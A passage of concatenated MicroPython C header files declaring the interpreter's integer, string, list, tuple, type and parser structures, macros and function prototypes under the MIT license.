MICROPY_INCLUDED_PY_OBJINT_H #define MICROPY_INCLUDED_PY_OBJINT_H #include "py/mpz.h" #include "py/obj.h" typedef struct _mp_obj_int_t { mp_obj_base_t base; #if MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_LONGLONG mp_longint_impl_t val; #elif MICROPY_LONGINT_IMPL == MICROPY_LONGINT_IMPL_MPZ mpz_t mpz; #endif } mp_obj_int_t; extern const mp_obj_int_t mp_maxsize_obj; #if MICROPY_PY_BUILTINS_FLOAT mp_float_t mp_obj_int_as_float_impl(mp_obj_t self_in); #endif size_t mp_int_format_size(size_t num_bits, int base, const char *prefix, char comma); mp_obj_int_t *mp_obj_int_new_mpz(void); void mp_obj_int_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind); char *mp_obj_int_formatted(char **buf, size_t *buf_size, size_t *fmt_size, mp_const_obj_t self_in, int base, const char *prefix, char base_char, char comma); char *mp_obj_int_formatted_impl(char **buf, size_t *buf_size, size_t *fmt_size, mp_const_obj_t self_in, int base, const char *prefix, char base_char, char comma); mp_int_t mp_obj_int_hash(mp_obj_t self_in); mp_obj_t mp_obj_int_from_bytes_impl(bool big_endian, size_t len, const byte *buf); void mp_obj_int_to_bytes_impl(mp_obj_t self_in, bool big_endian, size_t len, byte *buf); int mp_obj_int_sign(mp_obj_t self_in); mp_obj_t mp_obj_int_abs(mp_obj_t self_in); mp_obj_t mp_obj_int_unary_op(mp_uint_t op, mp_obj_t o_in); mp_obj_t mp_obj_int_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in); mp_obj_t mp_obj_int_binary_op_extra_cases(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in); mp_obj_t mp_obj_int_pow3(mp_obj_t base, mp_obj_t exponent, mp_obj_t modulus); #endif // MICROPY_INCLUDED_PY_OBJINT_H ================================================ FILE: micropython/inc/py/objlist.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJLIST_H #define MICROPY_INCLUDED_PY_OBJLIST_H #include "py/obj.h" typedef struct _mp_obj_list_t { mp_obj_base_t base; size_t alloc; size_t len; mp_obj_t *items; } mp_obj_list_t; #endif // MICROPY_INCLUDED_PY_OBJLIST_H ================================================ FILE: micropython/inc/py/objmodule.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJMODULE_H #define MICROPY_INCLUDED_PY_OBJMODULE_H #include "py/obj.h" extern const mp_map_t mp_builtin_module_map; extern const mp_map_t mp_builtin_module_weak_links_map; mp_obj_t mp_module_get(qstr module_name); void mp_module_register(qstr qstr, mp_obj_t module); #endif // MICROPY_INCLUDED_PY_OBJMODULE_H ================================================ FILE: micropython/inc/py/objstr.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJSTR_H #define MICROPY_INCLUDED_PY_OBJSTR_H #include "py/obj.h" typedef struct _mp_obj_str_t { mp_obj_base_t base; mp_uint_t hash; // len == number of bytes used in data, alloc = len + 1 because (at the moment) we also append a null byte size_t len; const byte *data; } mp_obj_str_t; #define MP_DEFINE_STR_OBJ(obj_name, str) mp_obj_str_t obj_name = {{&mp_type_str}, 0, sizeof(str) - 1, (const byte*)str} // use this macro to extract the string hash // warning: the hash can be 0, meaning invalid, and must then be explicitly computed from the data #define GET_STR_HASH(str_obj_in, str_hash) \ mp_uint_t str_hash; if (MP_OBJ_IS_QSTR(str_obj_in)) \ { str_hash = qstr_hash(MP_OBJ_QSTR_VALUE(str_obj_in)); } else { str_hash = ((mp_obj_str_t*)MP_OBJ_TO_PTR(str_obj_in))->hash; } // use this macro to extract the string length #define GET_STR_LEN(str_obj_in, str_len) \ size_t str_len; if (MP_OBJ_IS_QSTR(str_obj_in)) \ { str_len = qstr_len(MP_OBJ_QSTR_VALUE(str_obj_in)); } else { str_len = ((mp_obj_str_t*)MP_OBJ_TO_PTR(str_obj_in))->len; } // use this macro to extract the string data and length #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C const byte *mp_obj_str_get_data_no_check(mp_obj_t self_in, size_t *len); #define GET_STR_DATA_LEN(str_obj_in, str_data, str_len) \ size_t str_len; const byte *str_data = mp_obj_str_get_data_no_check(str_obj_in, &str_len); #else #define GET_STR_DATA_LEN(str_obj_in, str_data, str_len) \ const byte *str_data; size_t str_len; if (MP_OBJ_IS_QSTR(str_obj_in)) \ { str_data = qstr_data(MP_OBJ_QSTR_VALUE(str_obj_in), &str_len); } \ else { str_len = ((mp_obj_str_t*)MP_OBJ_TO_PTR(str_obj_in))->len; str_data = ((mp_obj_str_t*)MP_OBJ_TO_PTR(str_obj_in))->data; } #endif mp_obj_t mp_obj_str_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args); void mp_str_print_json(const mp_print_t *print, const byte *str_data, size_t str_len); mp_obj_t mp_obj_str_format(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs); mp_obj_t mp_obj_str_split(size_t n_args, const mp_obj_t *args); mp_obj_t mp_obj_new_str_of_type(const mp_obj_type_t *type, const byte* data, size_t len); mp_obj_t mp_obj_str_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in); mp_int_t mp_obj_str_get_buffer(mp_obj_t self_in, mp_buffer_info_t *bufinfo, mp_uint_t flags); const byte *str_index_to_ptr(const mp_obj_type_t *type, const byte *self_data, size_t self_len, mp_obj_t index, bool is_slice); const byte *find_subbytes(const byte *haystack, size_t hlen, const byte *needle, size_t nlen, int direction); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_encode_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_find_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_rfind_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_index_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_rindex_obj); MP_DECLARE_CONST_FUN_OBJ_2(str_join_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_split_obj); MP_DECLARE_CONST_FUN_OBJ_KW(str_splitlines_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_rsplit_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_startswith_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_endswith_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_strip_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_lstrip_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_rstrip_obj); MP_DECLARE_CONST_FUN_OBJ_KW(str_format_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_replace_obj); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(str_count_obj); MP_DECLARE_CONST_FUN_OBJ_2(str_partition_obj); MP_DECLARE_CONST_FUN_OBJ_2(str_rpartition_obj); MP_DECLARE_CONST_FUN_OBJ_2(str_center_obj); MP_DECLARE_CONST_FUN_OBJ_1(str_lower_obj); MP_DECLARE_CONST_FUN_OBJ_1(str_upper_obj); MP_DECLARE_CONST_FUN_OBJ_1(str_isspace_obj); MP_DECLARE_CONST_FUN_OBJ_1(str_isalpha_obj); MP_DECLARE_CONST_FUN_OBJ_1(str_isdigit_obj); MP_DECLARE_CONST_FUN_OBJ_1(str_isupper_obj); MP_DECLARE_CONST_FUN_OBJ_1(str_islower_obj); #endif // MICROPY_INCLUDED_PY_OBJSTR_H ================================================ FILE: micropython/inc/py/objstringio.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJSTRINGIO_H #define MICROPY_INCLUDED_PY_OBJSTRINGIO_H #include "py/obj.h" typedef struct _mp_obj_stringio_t { mp_obj_base_t base; vstr_t *vstr; // StringIO has single pointer used for both reading and writing mp_uint_t pos; // Underlying object buffered by this StringIO mp_obj_t ref_obj; } mp_obj_stringio_t; #endif // MICROPY_INCLUDED_PY_OBJSTRINGIO_H ================================================ FILE: micropython/inc/py/objtuple.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJTUPLE_H #define MICROPY_INCLUDED_PY_OBJTUPLE_H #include "py/obj.h" typedef struct _mp_obj_tuple_t { mp_obj_base_t base; size_t len; mp_obj_t items[]; } mp_obj_tuple_t; typedef struct _mp_rom_obj_tuple_t { mp_obj_base_t base; size_t len; mp_rom_obj_t items[]; } mp_rom_obj_tuple_t; void mp_obj_tuple_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind); mp_obj_t mp_obj_tuple_unary_op(mp_uint_t op, mp_obj_t self_in); mp_obj_t mp_obj_tuple_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs); mp_obj_t mp_obj_tuple_subscr(mp_obj_t base, mp_obj_t index, mp_obj_t value); mp_obj_t mp_obj_tuple_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf); extern const mp_obj_type_t mp_type_attrtuple; #define MP_DEFINE_ATTRTUPLE(tuple_obj_name, fields, nitems, ...) \ const mp_rom_obj_tuple_t tuple_obj_name = { \ .base = {&mp_type_attrtuple}, \ .len = nitems, \ .items = { __VA_ARGS__ , MP_ROM_PTR((void*)fields) } \ } #if MICROPY_PY_COLLECTIONS void mp_obj_attrtuple_print_helper(const mp_print_t *print, const qstr *fields, mp_obj_tuple_t *o); #endif mp_obj_t mp_obj_new_attrtuple(const qstr *fields, size_t n, const mp_obj_t *items); #endif // MICROPY_INCLUDED_PY_OBJTUPLE_H ================================================ FILE: micropython/inc/py/objtype.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJTYPE_H #define MICROPY_INCLUDED_PY_OBJTYPE_H #include "py/obj.h" // instance object // creating an instance of a class makes one of these objects typedef struct _mp_obj_instance_t { mp_obj_base_t base; mp_map_t members; mp_obj_t subobj[]; // TODO maybe cache __getattr__ and __setattr__ for efficient lookup of them } mp_obj_instance_t; // this needs to be exposed for MICROPY_OPT_CACHE_MAP_LOOKUP_IN_BYTECODE to work void mp_obj_instance_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest); // these need to be exposed so mp_obj_is_callable can work correctly bool mp_obj_instance_is_callable(mp_obj_t self_in); mp_obj_t mp_obj_instance_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args); #define mp_obj_is_instance_type(type) ((type)->make_new == mp_obj_instance_make_new) #define mp_obj_is_native_type(type) ((type)->make_new != mp_obj_instance_make_new) // this needs to be exposed for the above macros to work correctly mp_obj_t mp_obj_instance_make_new(const mp_obj_type_t *self_in, size_t n_args, size_t n_kw, const mp_obj_t *args); #endif // MICROPY_INCLUDED_PY_OBJTYPE_H ================================================ FILE: micropython/inc/py/parse.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_PARSE_H #define MICROPY_INCLUDED_PY_PARSE_H #include #include #include "py/parse2.h" #include "py/obj.h" #if !MICROPY_USE_SMALL_HEAP_COMPILER struct _mp_lexer_t; // a mp_parse_node_t is: // - 0000...0000: no node // - xxxx...xxx1: a small integer; bits 1 and above are the signed value, 2's complement // - xxxx...xx00: pointer to mp_parse_node_struct_t // - xx...xx0010: an identifier; bits 4 and above are the qstr // - xx...xx0110: a string; bits 4 and above are the qstr holding the value // - xx...xx1010: a string of bytes; bits 4 and above are the qstr holding the value // - xx...xx1110: a token; bits 4 and above are mp_token_kind_t #define MP_PARSE_NODE_NULL (0) #define MP_PARSE_NODE_SMALL_INT (0x1) #define MP_PARSE_NODE_ID (0x02) #define MP_PARSE_NODE_STRING (0x06) #define MP_PARSE_NODE_BYTES (0x0a) #define MP_PARSE_NODE_TOKEN (0x0e) typedef uintptr_t mp_parse_node_t; // must be pointer size typedef struct _mp_parse_node_struct_t { uint32_t source_line; // line number in source file uint32_t kind_num_nodes; // parse node kind, and number of nodes mp_parse_node_t nodes[]; // nodes } mp_parse_node_struct_t; // macros for mp_parse_node_t usage // some of these evaluate their argument more than once #define MP_PARSE_NODE_IS_NULL(pn) ((pn) == MP_PARSE_NODE_NULL) #define MP_PARSE_NODE_IS_LEAF(pn) ((pn) & 3) #define MP_PARSE_NODE_IS_STRUCT(pn) ((pn) != MP_PARSE_NODE_NULL && ((pn) & 3) == 0) #define MP_PARSE_NODE_IS_STRUCT_KIND(pn, k) ((pn) != MP_PARSE_NODE_NULL && ((pn) & 3) == 0 && MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)(pn)) == (k)) #define MP_PARSE_NODE_IS_SMALL_INT(pn) (((pn) & 0x1) == MP_PARSE_NODE_SMALL_INT) #define MP_PARSE_NODE_IS_ID(pn) (((pn) & 0x0f) == MP_PARSE_NODE_ID) #define MP_PARSE_NODE_IS_TOKEN(pn) (((pn) & 0x0f) == MP_PARSE_NODE_TOKEN) #define MP_PARSE_NODE_IS_TOKEN_KIND(pn, k) ((pn) == (MP_PARSE_NODE_TOKEN | ((k) << 4))) #define MP_PARSE_NODE_LEAF_KIND(pn) ((pn) & 0x0f) #define MP_PARSE_NODE_LEAF_ARG(pn) (((uintptr_t)(pn)) >> 4) #define MP_PARSE_NODE_LEAF_SMALL_INT(pn) (((mp_int_t)(intptr_t)(pn)) >> 1) #define MP_PARSE_NODE_STRUCT_KIND(pns) ((pns)->kind_num_nodes & 0xff) #define MP_PARSE_NODE_STRUCT_NUM_NODES(pns) ((pns)->kind_num_nodes >> 8) static inline mp_parse_node_t mp_parse_node_new_small_int(mp_int_t val) { return (mp_parse_node_t)(MP_PARSE_NODE_SMALL_INT | ((mp_uint_t)val << 1)); } static inline mp_parse_node_t mp_parse_node_new_leaf(size_t kind, mp_int_t arg) { return (mp_parse_node_t)(kind | ((mp_uint_t)arg << 4)); } bool mp_parse_node_is_const_false(mp_parse_node_t pn); bool mp_parse_node_is_const_true(mp_parse_node_t pn); bool mp_parse_node_get_int_maybe(mp_parse_node_t pn, mp_obj_t *o); int mp_parse_node_extract_list(mp_parse_node_t *pn, size_t pn_kind, mp_parse_node_t **nodes); void mp_parse_node_print(mp_parse_node_t pn, size_t indent); typedef enum { MP_PARSE_SINGLE_INPUT, MP_PARSE_FILE_INPUT, MP_PARSE_EVAL_INPUT, } mp_parse_input_kind_t; typedef struct _mp_parse_t { mp_parse_node_t root; struct _mp_parse_chunk_t *chunk; } mp_parse_tree_t; // the parser will raise an exception if an error occurred // the parser will free the lexer before it returns mp_parse_tree_t mp_parse(struct _mp_lexer_t *lex, mp_parse_input_kind_t input_kind); void mp_parse_tree_clear(mp_parse_tree_t *tree); #endif // !MICROPY_USE_SMALL_HEAP_COMPILER #endif // MICROPY_INCLUDED_PY_PARSE_H ================================================ FILE: micropython/inc/py/parse2.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_PARSE2_H #define MICROPY_INCLUDED_PY_PARSE2_H #include #include #include "py/obj.h" #if MICROPY_USE_SMALL_HEAP_COMPILER struct _mp_lexer_t; #define MP_PT_NULL (0) #define MP_PT_TOKEN (1) #define MP_PT_SMALL_INT (3) #define MP_PT_STRING (4) #define MP_PT_BYTES (5) #define MP_PT_CONST_OBJECT (8) #define MP_PT_ID_BASE (10) // +16 #define MP_PT_RULE_BASE (26) // +173-ish // macro to eliminate differences between original parser and this one #define MP_PARSE_NODE_IS_ID(pn) pt_is_any_id(pn) typedef const byte *mp_parse_node_t; extern const byte pt_const_int0[]; static inline const byte *pt_tok_extract(const byte *p, byte *tok) { //assert(*p == MP_PT_TOKEN); p += 1; *tok = *p++; return p; } static inline bool pt_is_null(const byte *p) { return *p == MP_PT_NULL; } static inline bool pt_is_null_with_top(const byte *p, const byte *ptop) { return p == ptop || *p == MP_PT_NULL; } static inline bool pt_is_small_int(const byte *p) { return *p == MP_PT_SMALL_INT; } static inline bool pt_is_any_rule(const byte *p) { return *p >= MP_PT_RULE_BASE; } static inline mp_uint_t pt_rule_extract_rule_id(const byte *p) { return *p - MP_PT_RULE_BASE; } static inline bool pt_is_any_id(const byte *p) { return *p >= MP_PT_ID_BASE && *p < MP_PT_RULE_BASE; } static inline bool pt_is_id(const byte *p, qstr qst) { //assert(*p == MP_PT_ID_BASE); return qst == ((mp_uint_t)p[1] | (((mp_uint_t)p[0] - MP_PT_ID_BASE) << 8)); } static inline bool pt_is_any_tok(const byte *p) { return p[0] == MP_PT_TOKEN; } static inline bool pt_is_tok(const byte *p, int tok) { return p[0] == MP_PT_TOKEN && p[1] == tok; } static inline bool pt_is_rule(const byte *p, int rule) { return *p == MP_PT_RULE_BASE + rule; } int pt_num_nodes(const byte *p, const byte *ptop); const byte *pt_next(const byte *p); //const byte *pt_extract_id(const byte *p, qstr *qst); static inline const byte *pt_extract_id(const byte *p, qstr *qst) { //assert(*p == MP_PT_ID_BASE); *qst = p[1] | ((p[0] - MP_PT_ID_BASE) << 8); return p + 2; } const byte *pt_extract_const_obj(const byte *p, mp_uint_t *idx); mp_int_t pt_small_int_value(const byte *p); const byte *pt_get_small_int(const byte *p, mp_int_t *val); const byte *pt_rule_first(const byte *p); const byte *pt_rule_extract_top(const byte *p, const byte **ptop); const byte *pt_rule_extract(const byte *p, mp_uint_t *rule_id, size_t *src_line, const byte **ptop); bool pt_is_rule_empty(const byte *p); bool mp_parse_node_get_int_maybe(const byte *p, mp_obj_t *o, mp_uint_t *co_data); const byte *mp_parse_node_extract_list(const byte **p, mp_uint_t pn_kind); typedef enum { MP_PARSE_SINGLE_INPUT, MP_PARSE_FILE_INPUT, MP_PARSE_EVAL_INPUT, } mp_parse_input_kind_t; typedef struct _mp_parse_t { const byte *root; mp_uint_t *co_data; struct _mp_parse_chunk_t *chunk; } mp_parse_tree_t; // the parser will raise an exception if an error occurred // the parser will free the lexer before it returns mp_parse_tree_t mp_parse(struct _mp_lexer_t *lex, mp_parse_input_kind_t input_kind); void mp_parse_tree_clear(mp_parse_tree_t *tree); #endif // MICROPY_USE_SMALL_HEAP_COMPILER #endif // MICROPY_INCLUDED_PY_PARSE2_H ================================================ FILE: micropython/inc/py/parsenum.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_PARSENUM_H #define MICROPY_INCLUDED_PY_PARSENUM_H #include "py/mpconfig.h" #include "py/lexer.h" #include "py/obj.h" // these functions raise a SyntaxError if lex!=NULL, else a ValueError mp_obj_t mp_parse_num_integer(const char *restrict str, size_t len, int base, mp_lexer_t *lex); mp_obj_t mp_parse_num_decimal(const char *str, size_t len, bool allow_imag, bool force_complex, mp_lexer_t *lex); #endif // MICROPY_INCLUDED_PY_PARSENUM_H ================================================ FILE: micropython/inc/py/parsenumbase.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_PARSENUMBASE_H #define MICROPY_INCLUDED_PY_PARSENUMBASE_H #include "py/mpconfig.h" size_t mp_parse_num_base(const char *str, size_t len, int *base); #endif // MICROPY_INCLUDED_PY_PARSENUMBASE_H ================================================ FILE: micropython/inc/py/persistentcode.h ================================================ /* * This file is part of 